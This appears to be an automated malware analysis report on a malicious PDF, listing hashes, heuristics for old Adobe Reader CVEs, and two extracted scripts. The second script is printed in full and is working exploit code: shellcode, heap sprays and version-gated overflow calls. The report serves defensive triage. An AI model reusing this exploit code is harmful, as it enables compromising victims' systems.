Malicious PDF — malware analysis report

Static analysis result for SHA-256 4b2d1f6291558fef…

MALICIOUS

PDF

25.9 KB Created: 2011-72-51 03:25:00 First seen: 2026-05-04
MD5: 89ef1139358954bb6593d8e03921e8f0 SHA-1: 019f4390853b522a05573f13f879217b82f1eac6 SHA-256: 4b2d1f6291558fef0a54753a9bcc4b207c9c9da88c2bcf328a5181a982844d39
548 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 Scripting: JavaScript

The PDF file contains embedded JavaScript with a high-severity 'eval()' heuristic firing, indicating obfuscated code execution. The JavaScript stream is likely designed to exploit a PDF reader vulnerability or download and execute a second-stage payload. The presence of 'eval()' suggests dynamic code execution, which is a common technique for malware delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      Wunydyikuha=eval(BiwubekOraca.replace('PuxYex','')+'val');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x633E 868 bytes
SHA-256: d5ec3bb316e27b3dcf1319deb31c662ca2a060024c5b84b210199b3046943121
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var TumimUdoh='';
var PuxYexe=this.producer.substr(0,4);
for(var BiwubekOraca in this) {
	if (BiwubekOraca=='PuxYexe')
		Wunydyikuha=eval(BiwubekOraca.replace('PuxYex','')+'val');
}
acmRofzyca = Wunydyikuha('new Date(2007,2,51,2,12,5)');
PydaqexoqefYjyhewiheg = 'thi'+acmRofzyca.getHours()+'ducer';
KysexudihninYfajih=Wunydyikuha(PydaqexoqefYjyhewiheg.replace(2,'s.pro'));
KysexudihninYfajih = KysexudihninYfajih.replace(/t/g,'2');
BiyTec = KysexudihninYfajih.substr(4).split('s');
var XizuPyjugoqywamafylix = '';
g = acmRofzyca.getHours()*2;
var JagAji = 'fro'+acmRofzyca.getHours()+'arCode';
JagAji=JagAji.replace(2,'mCh');
FijYz=String[JagAji];
for (BiwubekOraca = 0; BiwubekOraca < BiyTec.length; BiwubekOraca++) {
	QiqEcoj = Wunydyikuha(BiyTec[BiwubekOraca]);
	XizuPyjugoqywamafylix += FijYz(QiqEcoj);
}
Wunydyikuha(XizuPyjugoqywamafylix);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Producer s-arithmetic JavaScript at offset 0x23 3692 bytes
SHA-256: 390ab87399180c8bdf35a0a183d6614ce5c0b81986ec17a05ad0b9aadd1997ed
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16EB%u49B9%u0001%u8B00%u2434%uF789%u3E80%u74E9%uAC06%u4B34%uE2AA%uC3FA%uE5E8%uFFFF%uA2FF%u4A47%u4B4B%uCA15%u17A7%u4B4A%uC24B%uC6AC%u5B04%u24C6%u7A1F%u1C90%u181A%u1818%u1818%u1818%u181E%u2318%u4A4F%u4B4B%u1D1E%u2318%u2524%u4B4B%u3E23%u2739%u1F26%uC523%u4505%uA3A7%u4B03%u4B4B%uA31B%u4B37%u4B4B%u9BB4%u8FC8%u2343%uA404%u4E04%uA31B%u4B27%u4B4B%u9BB4%u8BCE%u5C3E%u1F21%uB812%u23E1%uB539%u5DF8%u56A3%u4B4B%u1B4B%u1AA3%u4B4B%uB44B%u189B%uB521%uC223%u4A24%uA3F6%u4B43%u4B4B%uA31B%u4B77%u4B4B%u9BB4%u7A2B%u2F8B%u1BC0%uC07B%u4719%u19C0%uC05F%u6339%u53F2%u4B4B%u7A4B%u7AB4%uE78B%u2A77%u4937%u6B67%u848A%u4A46%uA98C%uCABB%u10B4%u01F7%uC021%u5B09%u59C0%u923E%u0FC2%u576F%u882A%uC02B%u6F27%uC06F%u770E%u1FC0%u334E%uA14A%u01C0%uC053%u6B11%uA04A%u7FA8%uC002%uC07F%uA54A%uB47A%u8B7A%uE7B7%u8BCF%u4C3F%u848A%u4A46%uA08C%u70BF%u6F37%u3E63%uC0AA%u6F11%uA04A%uC02D%u0047%u11C0%u4A57%uC0A0%uC04F%uA34A%u0FC2%u576F%u892A%u4B43%uA4A3%uB4B5%u23B4%u3F3F%u713B%u6464%u392A%u3E22%u2A29%u2F25%u3822%u2865%u6531%u2828%u2464%u3F3E%u3B65%u3B23%u2A74%u1A76%u201A%u0E0E%u2820%u0901%u760A%u6D76%u763B%u4B7C';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 

aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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